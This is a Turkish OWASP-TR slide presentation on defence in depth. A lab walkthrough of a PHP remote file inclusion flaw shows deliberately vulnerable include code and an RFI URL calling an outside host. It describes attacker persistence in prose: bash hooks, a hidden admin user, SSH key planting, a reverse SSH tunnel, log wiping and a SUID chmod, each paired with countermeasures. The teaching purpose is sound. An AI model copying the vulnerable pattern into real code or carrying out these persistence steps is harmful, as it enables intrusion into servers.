KATMANLI GÜVENLİK ANLAYIŞINA UYGULAMALI BİR BAKIŞ Tahsin TÜRKÖZ [email protected] OWASP-TR Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the.
Download
Report
Transcript KATMANLI GÜVENLİK ANLAYIŞINA UYGULAMALI BİR BAKIŞ Tahsin TÜRKÖZ [email protected] OWASP-TR Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the.
KATMANLI GÜVENLİK ANLAYIŞINA
UYGULAMALI BİR BAKIŞ
Tahsin TÜRKÖZ
[email protected]
OWASP-TR
Copyright © The OWASP Foundation
Permission is granted to copy, distribute and/or modify this document
under the terms of the OWASP License.
The OWASP Foundation
http://www.owasp.org
İçerik
Giriş - Katmanlı güvenliğin tanımı
Test ortamı tanıtımı
Bir PHP açıklığı
Saldırılar ve önlemler
Sonuç
OWASP-TR
2
Tanım
• Katmanlı güvenlik (Defence in depth, elastic
defence)
– Amerikan savunma bakanlığı kaynaklı
– Peşpeşe güvenlik mekanizmalarının uygulanması
– Saldırıyı engeleme yerine etkilerini azaltma ya da
zayıflatma stratejisi
– Ana fikir: Bir savunma mekanizması devre dışı
kaldığında sistemi savunmasız bırakmama
– Yöntem: Her katman ile saldırganın hareket
alanını daha da kısıtlama
– Örnekler: Fiziksel güvenlik, güvenlik duvarı, saldırı
tespit sistemi, şifreleme
OWASP-TR
3
Test Ortamı Tanıtımı
Saldırgan
Web sunucu
Linux
Apache + PHP
Yönetici
OWASP-TR
4
PHP Açıklığı
Uzaktan Kod Çalıştırma (RFI)
Problem:
Uzaktan dosya indirmeye ve çalıştırmaya izin veren web
uygulama çatıları
Girdi denetimi zayıf uygulamalar
Etkilenen platformlar:
PHP (4.0.4 sonrası ve 5.x)
Diğer uygulama çatıları (Java, .NET gibi)
OWASP-TR
5
Uzaktan Kod Çalıştırma (RFI) Örnek
/index.php?lang=tr
index.php
<?php
$language = $_REQUEST[‘lang’];
include($language.”php”);
…
…
...
sonuç
?>
tr.php
<?php
…
…
?>
INTERNET
OWASP-TR
SUNUCU TARAFI
6
Uzaktan Kod Çalıştırma (RFI) Örnek
index.php
/index.php?lang=http://abc.com/tr.php?
<?php
$language = $_REQUEST[‘lang’];
<?php
…
…
?>
include($language.”php”);
…
…
http://abc.com/tr.php
?>
sonuç
INTERNET
OWASP-TR
SUNUCU TARAFI
7
Saldırı – Önlem Döngü Yapısı
Karşı Önlem
Saldırı
Çıkarılacak Dersler
OWASP-TR
8
Döngü #1
Saldırganın bakış açısı
PHPShell yeterli mi?
Saldırganın ihtiyaçları
Kompleks işlemlerin yürütülebileceği bir bağlantı
arabirimi
Sunucunun arkasındaki sistemlere erişim
Yetki seviyesi yüksek bir kullanıcı hesabı
Kayıt dosyalarının temizlenmesi
Bağlantıları ele verebilecek komutların değiştirilme
Çözüm: Rootkit / Trojan enjeksiyonu
OWASP-TR
9
Tunnel yapısı
OWASP-TR
10
Rootkit / Trojan
/root/.bashrc
/etc/bash_login
/root/.bash_logout
/etc/bash_logout
/etc/tunnel
/etc/bashrc
/etc/bash_logout
/etc/tunnel
netstat
last
B planı: chmod
OWASP-TR
11
/etc/bash_logout
Kayıt dosyalarının yedeğini alır.
Sistem yönetici yetkilerine sahip enjoy kullanıcısını
oluşturur.
SSH anahtarlarını root kullanıcısının ev dizinine
kopyalar.
Saldırganın bilgisayarına doğru SSH tünelini açar.
Kayıt dosyalarını geri kopyalar.
OWASP-TR
12
/etc/bash_login
Kayıt dosyalarının yedeğini alır. enjoy kullanıcının
ve saldırgan bilgisayarı ile ilgili kayıtları siler.
SSH tünelini ve varsa saldırgana ait aktif
bağlantıları koparır.
enjoy kullanıcısını siler.
root kullanıcısının ev dizinindeki SSH anahtarlarını
siler.
Kayıt dosyalarını geri kopyalar.
OWASP-TR
13
Döngü #1
Karşı Önlem
Yetkisiz kullanıcı (nobody) ile koşan apache
Çıkarılacak Ders
Minimum hak prensibi
Dışa doğru açık olan bağlantı haklarının kısıtlanması
OWASP-TR
14
Döngü #2
Saldırı
B planı olarak düşünülen SUID biti aktife edilmiş
chmod komutunun kullanılması
Karşı Önlem
Sistemi tümüyle yeniden kurma
Chroot ile hapishane yapısına geçme
Çıkarılacak Ders
Başarılı bir şekilde kırılmış bir sistem yeniden
kurulmalıdır.
Minimum hak prensibi için tek katman yetersiz
kalabilir.
OWASP-TR
15
ChRoot
OWASP-TR
16
Döngü #3
Saldırı
RFI açıklığı ile web tabanlı kabuk (shell) açarak;
Web sayfası tahrifatı (defacement)
Karşı Önlem
Aktif bütünlük kontrolcüsü kullanımı - Tripwire
Çıkarılacak Ders
Tüm yönüyle sunucu sıkılaştırması (hardening)
Minimum hak prensibi için iki katman yetersiz kalabilir.
OWASP-TR
17
Döngü #4
Saldırı
RFI açıklığı ile web tabanlı kabuk (shell) açarak;
Syscall kullanılarak Hizmet Dışı Bırakma saldırısı
Kaynak kodu ifşası
Karşı Önlem
PHP kodunu düzeltme
Çıkarılacak Ders
Açıklığın kaynağını bulup, önlem alınması
Katmanlı güvenlik anlayışının önemi
OWASP-TR
18
Sonuç
Kurumsal bilgi sistemlerinde bütün açıklıkların
farkında olmak ve zamanında gerekli önlemleri
almak çok zordur.
Katmanlı güvenlik ile farklı güvenlik mekanizmaları
uygulayarak saldırıların etkileri azaltılabilir.
OWASP-TR
19
Faydalı Linkler & Sorular
chroot
http://www.unixwiz.net/techtips/chroot-practices.html
http://www.cgisecurity.com/webservers/apache/chrootapache2howto.html
apache güvenliği
http://www.securityfocus.com/infocus/1694
http://www.securityfocus.com/infocus/1786
http://www.apachesecurity.net/
modsecurity
http://modsecurity.org/
PHP güvenliği
http://www.php-security.org/
www.owasp.org
OWASP-TR
20
Faydalı Linkler
Unix/rootkit/trojan
http://vil.nai.com/vil/Content/v_100721.htm
http://www.rootkit.com/
http://www.antirootkit.com
SSH ile tünel
http://www.securityfocus.com/infocus/1816
http://www.rzg.mpg.de/networking/tunnelling.html
http://www.ccs.neu.edu/howto/howto-sshtunnel.html
Unix güvenliği
http://www.cisecurity.org
http://www.princeton.edu/~psg/unix/security.html
http://www.auscert.org.au/7284
OWASP-TR
21